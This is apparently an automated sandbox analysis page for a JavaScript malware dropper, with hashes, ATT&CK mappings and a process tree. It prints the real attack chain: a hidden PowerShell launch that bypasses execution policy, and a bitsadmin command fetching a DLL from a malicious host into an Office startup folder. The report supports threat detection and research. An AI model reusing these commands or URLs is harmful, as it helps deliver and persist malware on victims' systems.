0d2d85d98310a735391d516207b11b6eeea4a5b833cbc521b40d39b6e8635bcd

Analysis

max time kernel
75s
max time network
79s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
05/07/2023, 10:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
rechn1831.js
Size 48KB
Sample230705-mp4hwsdb5x
SHA256 0d2d85d98310a735391d516207b11b6eeea4a5b833cbc521b40d39b6e8635bcd
MD5 7115a87c04916857fa2482c58cb87203
SHA1 7cb325fdd6eae9a94123f1dd41f35c4e03dd45b9
SHA512 f01cbaf59114519965a76cdb6caab811abcc3d29a68c8696a7738b384a6be636ea68c09a3070aeaea41b51275e5b7d59ebd68d267a2566d705587c06694d646e
SSDEEP 768:HJSaNaky1sAaN+5GXBgbmNLsohLedbAlc2mXeM/puy7zDOcbIeLk2:HJSGynGTXCKJXhLedbuIeM/puyvDfIn2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://clibur.es/apply.zip
exe.dropper
https://clibur.es/files/

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
3040	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2224	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2224	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 2224	3064	wscript.exe	29
PID 3064 wrote to memory of 2224	3064	wscript.exe	29
PID 3064 wrote to memory of 2224	3064	wscript.exe	29
PID 2224 wrote to memory of 3040	2224	powershell.exe	31
PID 2224 wrote to memory of 3040	2224	powershell.exe	31
PID 2224 wrote to memory of 3040	2224	powershell.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\rechn1831.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hidden -File C:\Users\Admin\AppData\Local\Temp\zyk87gu.ps1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\system32\bitsadmin.exe
    "C:\Windows\system32\bitsadmin.exe" /transfer MeDoW /download /priority normal https://clibur.es/files/AudioCapture.dll C:\Users\Admin\AppData\RoamingOfficeStartupAudioCapture.dll
    3⤵
    - Download via BitsAdmin
    PID:3040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

zyk87gu.ps1

Path C:\Users\Admin\AppData\Local\Temp\zyk87gu.ps1
Size 1KB
SHA256 c8ce25c4b2b202ddd685e38ecc7df51e43f18592e16d907df1c9c7a754082ceb
MD5 efb06a04836ed0c98a80cdb844b4274f
SHA1 a1188ac3507bd5ebe3f920d73ca0c0eb871eff7b
SHA512 4074704ca6f096425bfa722fb577d6b03e2014a8a22dedf9faf7ed8b512cef213947ab796e765a720cf16888ec88fb9121b876da70db9bad84f6b5e4217b2d6e
MD5 SHA1 SHA512

Submit Download

memory/2224-60-0x000000001B180000-0x000000001B462000-memory.dmp

Download

memory/2224-61-0x0000000002410000-0x0000000002418000-memory.dmp

Download

memory/2224-63-0x0000000002670000-0x00000000026F0000-memory.dmp

Download

memory/2224-64-0x0000000002670000-0x00000000026F0000-memory.dmp

Download

memory/2224-65-0x0000000002670000-0x00000000026F0000-memory.dmp

Download

memory/2224-66-0x0000000002670000-0x00000000026F0000-memory.dmp

Download

memory/2224-67-0x0000000002670000-0x00000000026F0000-memory.dmp

Download

memory/2224-68-0x0000000002670000-0x00000000026F0000-memory.dmp

Download

memory/2224-69-0x0000000002670000-0x00000000026F0000-memory.dmp

Download